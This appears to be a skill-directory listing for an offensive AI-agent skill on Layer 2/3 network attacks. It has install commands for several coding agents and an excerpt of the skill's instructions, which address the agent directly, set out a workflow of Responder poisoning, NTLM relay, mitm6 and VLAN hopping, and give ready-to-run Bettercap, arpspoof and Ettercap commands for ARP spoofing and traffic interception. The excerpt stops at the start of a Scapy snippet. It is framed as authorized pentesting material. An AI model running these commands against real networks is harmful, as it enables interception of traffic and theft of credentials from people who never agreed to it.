# Offensive Network Attacks

Dense description covering ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, DNS poisoning...

- Repository: https://github.com/SnailSploit/Claude-Red (10186 stars)
- Category: Testing
- License: MIT
- Last updated: 2026-10-12
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add SnailSploit/Claude-Red --skill offensive-network-attacks -g -a claude-code -y`
Codex: `npx skills add SnailSploit/Claude-Red --skill offensive-network-attacks -g -a codex -y`
Cursor: `npx skills add SnailSploit/Claude-Red --skill offensive-network-attacks -g -a cursor -y`
Gemini CLI: `npx skills add SnailSploit/Claude-Red --skill offensive-network-attacks -g -a gemini-cli -y`

## Description

Dense description covering ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, DNS poisoning, MITM attacks, VLAN hopping, DHCP attacks, 802.1X/NAC bypass, IPv6 attacks. Tools: Bettercap, Responder, mitm6, Ettercap, Wireshark. MITRE T1557, T1040. Use when conducting internal network assessments or testing Layer 2/3 attack surface.

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# Network Attacks (Layer 2/3) -- Offensive Methodology

You are attacking Layer 2/3 infrastructure during an authorized internal engagement. ARP, DHCP, broadcast name resolution, VLAN trunking, and IPv6 autoconfiguration are all unauthenticated -- you exploit that trust to intercept credentials, redirect traffic, and cross network boundaries.

## Quick Workflow

1. Map your position -- VLAN, subnet, gateway, DNS, DHCP lease, IPv6 status.
2. Passively sniff with tcpdump/Wireshark to discover hosts and cleartext credentials.
3. Run Responder in analyze mode to observe LLMNR/NBT-NS/mDNS queries.
4. Enable Responder poisoning to capture NTLMv2 hashes.
5. Relay captured hashes with ntlmrelayx against hosts without SMB signing.
6. ARP spoof the gateway for targeted MITM and credential interception.
7. Probe VLAN boundaries via DTP negotiation and 802.1Q double tagging.
8. Exploit IPv6 autoconfiguration with mitm6 for DNS takeover and NTLM relay.

---

## ARP Spoofing

ARP has no authentication. You send gratuitous ARP replies to associate your MAC with the gateway IP in the victim's cache, routing their traffic through you.

### Bettercap ARP Module

```bash
sudo bettercap -iface eth0
net.probe on                              # discover live hosts
net.show
set arp.spoof.targets 10.0.0.50          # single target
set arp.spoof.fullduplex true            # poison both victim and gateway
arp.spoof on
```

### arpspoof and Ettercap

```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1   # tell victim you are the gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.50   # tell gateway you are the victim (second terminal)

# Ettercap alternative
sudo ettercap -T -M arp:remote /10.0.0.50// /10.0.0.1//
sudo ettercap -T -M arp:remote -F inject.ef /10.0.0.50// /10.0.0.1//  # with filter
```

### Gratuitous ARP with Scapy

```python
from scapy.all import Ether, ARP, sendp
import time

The rest: https://github.com/SnailSploit/Claude-Red/blob/HEAD/Skills/network/offensive-network-attacks/SKILL.md